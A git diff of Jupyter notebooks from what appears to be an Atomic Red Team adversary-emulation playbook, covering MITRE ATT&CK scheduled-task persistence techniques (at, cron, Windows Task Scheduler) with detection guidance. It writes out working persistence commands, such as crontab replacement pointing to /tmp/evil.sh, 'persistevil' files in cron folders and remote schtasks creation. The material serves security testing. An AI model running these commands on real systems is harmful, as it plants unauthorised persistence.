"markdown", - "id": "b1bb051a", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ee47de51", - "metadata": {}, - "source": "## Detection\nMonitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1053.001.ipynb b/playbook/tactics/persistence/T1053.001.ipynb deleted file mode 100644 index 2e939bf7..00000000 --- a/playbook/tactics/persistence/T1053.001.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "73d2ec01", - "metadata": {}, - "source": "# T1053.001 - At (Linux)\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" - }, - { - "cell_type": "markdown", - "id": "6b754734", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f90f1486", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1053.002.ipynb b/playbook/tactics/persistence/T1053.002.ipynb index 8be67792..c3d0ba81 100644 --- a/playbook/tactics/persistence/T1053.002.ipynb +++ b/playbook/tactics/persistence/T1053.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5f3b7c86", + "id": "d1e2d489", "metadata": {}, "source": "# T1053.002 - At\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" }, { "cell_type": "markdown", - "id": "c9bbd7c4", + "id": "936b7354", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4022aa3f", + "id": "fa413275", "metadata": {}, "source": [ "### Atomic Test #1 - At.exe Scheduled task", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e7c7b34f", + "id": "1475155b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b40133e6", + "id": "7c37062b", "metadata": {}, - "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nwhich at && which atd\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nsystemctl status atd || service atd status\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" + "source": "### Atomic Test #2 - At - Schedule a job\nThis test submits a command to be run in the future by the `at` daemon.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The `at` and `atd` executables must exist in the PATH\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(uname)\" = 'FreeBSD' ]; then which at; else which at && which atd; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'\n\n```\n##### Description: The `atd` daemon must be running\n\n##### Check Prereq Commands:\n```sh\nif [ $(uname) = 'Linux' ]; then systemctl status atd || service atd status; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho 'Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54fa3712", + "id": "1afc5e71", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6ee5110c", + "id": "3ecdfa23", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "da6d4f0a", + "id": "05cd2aad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "272fa666", + "id": "99dedc71", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." } @@ -74,13 +74,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1053.003.ipynb b/playbook/tactics/persistence/T1053.003.ipynb index ef679441..7bc4a66c 100644 --- a/playbook/tactics/persistence/T1053.003.ipynb +++ b/playbook/tactics/persistence/T1053.003.ipynb @@ -2,53 +2,53 @@ "cells": [ { "cell_type": "markdown", - "id": "1ff843b1", + "id": "8e21dfcf", "metadata": {}, "source": "# T1053.003 - Cron\nAdversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " }, { "cell_type": "markdown", - "id": "afe04f71", + "id": "a2662ab9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "409d0422", + "id": "62e03fed", "metadata": {}, "source": [ "### Atomic Test #1 - Cron - Replace crontab with referenced file", "This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncrontab -l > /tmp/notevil\necho \"* * * * * /tmp/evil.sh\" > /tmp/persistevil && crontab /tmp/persistevil\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7032f996", + "id": "3e3ccfe7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d82fc235", + "id": "4649af1c", "metadata": {}, - "source": "#### Cleanup: \n```bash\ncrontab /tmp/notevil\n```" + "source": "#### Cleanup: \n```sh\ncrontab /tmp/notevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "940c385e", + "id": "6bf73885", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "fa8fba5a", + "id": "b0bc5c5c", "metadata": {}, "source": [ "### Atomic Test #2 - Cron - Add script to all cron subfolders", @@ -62,31 +62,66 @@ { "cell_type": "code", "execution_count": null, - "id": "1c5f013f", + "id": "89b6f799", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "66b5d14f", + "id": "4578009a", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /etc/cron.daily/persistevil\nrm /etc/cron.hourly/persistevil\nrm /etc/cron.monthly/persistevil\nrm /etc/cron.weekly/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "85f9b0f1", + "id": "eb4c7f40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9900cd4a", + "id": "17e418d5", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Cron - Add script to /etc/cron.d folder", + "This test adds a script to /etc/cron.d folder configured to execute on a schedule.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"echo '*/5 * * * * root echo \"Hello from Atomic Red Team\"' > /tmp/atomic.log\" > /etc/cron.d/persistevil\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6e777107", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "296373bf", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /etc/cron.d/persistevil\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "05594366", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c382f601", "metadata": {}, "source": [ - "### Atomic Test #3 - Cron - Add script to /var/spool/cron/crontabs/ folder", + "### Atomic Test #4 - Cron - Add script to /var/spool/cron/crontabs/ folder", "This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -97,28 +132,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9fb93914", + "id": "ff0437dd", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "e0a26e32", + "id": "5c6defb3", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /var/spool/cron/crontabs/persistevil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc78db6b", + "id": "3d1a4bf7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1053.003 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1053.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "f03b0169", + "id": "c4721d55", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " } @@ -126,13 +161,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1053.004.ipynb b/playbook/tactics/persistence/T1053.004.ipynb deleted file mode 100644 index cc8dd19f..00000000 --- a/playbook/tactics/persistence/T1053.004.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7e47df6d", - "metadata": {}, - "source": "# T1053.004 - Launchd\nThis technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in." - }, - { - "cell_type": "markdown", - "id": "8b51e09c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7dfb267a", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1053.005.ipynb b/playbook/tactics/persistence/T1053.005.ipynb index 83328bbb..fddedb52 100644 --- a/playbook/tactics/persistence/T1053.005.ipynb +++ b/playbook/tactics/persistence/T1053.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "aa48f4bf", + "id": "f4c167dd", "metadata": {}, "source": "# T1053.005 - Scheduled Task\nAdversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) " }, { "cell_type": "markdown", - "id": "21adea53", + "id": "cf8ee5c1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea6e30ad", + "id": "9cbc657d", "metadata": {}, "source": [ "### Atomic Test #1 - Scheduled Task Startup Script", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4489f48d", + "id": "d43b8598", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "900a67ee", + "id": "b9fe0375", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4a96e987", + "id": "dc965d76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9096f0aa", + "id": "646dba56", "metadata": {}, "source": [ "### Atomic Test #2 - Scheduled task Local", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "30ad0e74", + "id": "4a0ccd70", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "69494b30", + "id": "d867d832", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /TN spawn /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f979dda", + "id": "7ef6d968", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9d49c3b5", + "id": "c34f28e2", "metadata": {}, "source": [ "### Atomic Test #3 - Scheduled task Remote", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0968dc34", + "id": "47429616", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9958dc59", + "id": "59c7bcb2", "metadata": {}, "source": "#### Cleanup: \n```cmd\nSCHTASKS /Delete /S localhost /U DOMAIN\\user /P At0micStrong /TN \"Atomic task\" /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f0a917c8", + "id": "abc03616", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "a42c1b0f", + "id": "a6b57732", "metadata": {}, "source": [ "### Atomic Test #4 - Powershell Cmdlet Scheduled Task", @@ -133,42 +133,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6e339447", + "id": "16bacc2a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "b43b9aaf", + "id": "7632aed2", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "00f3374e", + "id": "023a2365", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "49f85b2d", + "id": "251081ac", "metadata": {}, "source": "### Atomic Test #5 - Task Scheduler via VBA\nThis module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "475de372", + "id": "77cb1c16", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7048631d", + "id": "02fe41c3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -178,42 +178,42 @@ { "cell_type": "code", "execution_count": null, - "id": "1da3b37b", + "id": "4fa16c5c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "524ce6c8", + "id": "a618bdb0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c488215", + "id": "92091409", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "fb7c623a", + "id": "ec07b0b7", "metadata": {}, - "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" + "source": "### Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task\nCreate an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bbe8d539", + "id": "eb9def83", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "efe4085a", + "id": "b2b4b482", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -223,28 +223,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6f2ec369", + "id": "7a438ca2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "561d7a07", + "id": "fee63249", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "11183282", + "id": "a0e4e691", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "806e38f6", + "id": "19c6a595", "metadata": {}, "source": [ "### Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry", @@ -257,42 +257,42 @@ { "cell_type": "code", "execution_count": null, - "id": "31f86376", + "id": "dd19e3ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "2b104446", + "id": "26f5f52a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete 